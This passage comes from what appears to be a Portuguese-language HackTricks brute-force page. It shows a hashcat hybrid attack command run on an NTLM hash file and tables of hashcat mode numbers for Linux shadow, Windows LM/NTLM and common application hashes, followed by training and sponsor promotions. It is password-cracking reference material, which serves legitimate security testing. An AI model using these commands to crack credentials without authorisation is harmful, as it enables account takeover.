numbers will be prepended to each word in the wordlist hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt ``` #### Modos do Hashcat ```bash hashcat --example-hashes | grep -B1 -A2 "NTLM" ``` Quebrando Hashes do Linux - arquivo /etc/shadow ``` 500 | md5crypt $1$, MD5(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems 1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems ``` Quebrando Hashes do Windows ``` 3000 | LM | Operating-Systems 1000 | NTLM | Operating-Systems ``` Quebrando Hashes de Aplicações Comuns ``` 900 | MD4 | Raw Hash 0 | MD5 | Raw Hash 5100 | Half MD5 | Raw Hash 100 | SHA1 | Raw Hash 10800 | SHA-384 | Raw Hash 1400 | SHA-256 | Raw Hash 1700 | SHA-512 | Raw Hash ``` {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Suporte ao HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %}
\ Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas comunitárias mais avançadas** do mundo.\ Obtenha Acesso Hoje: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}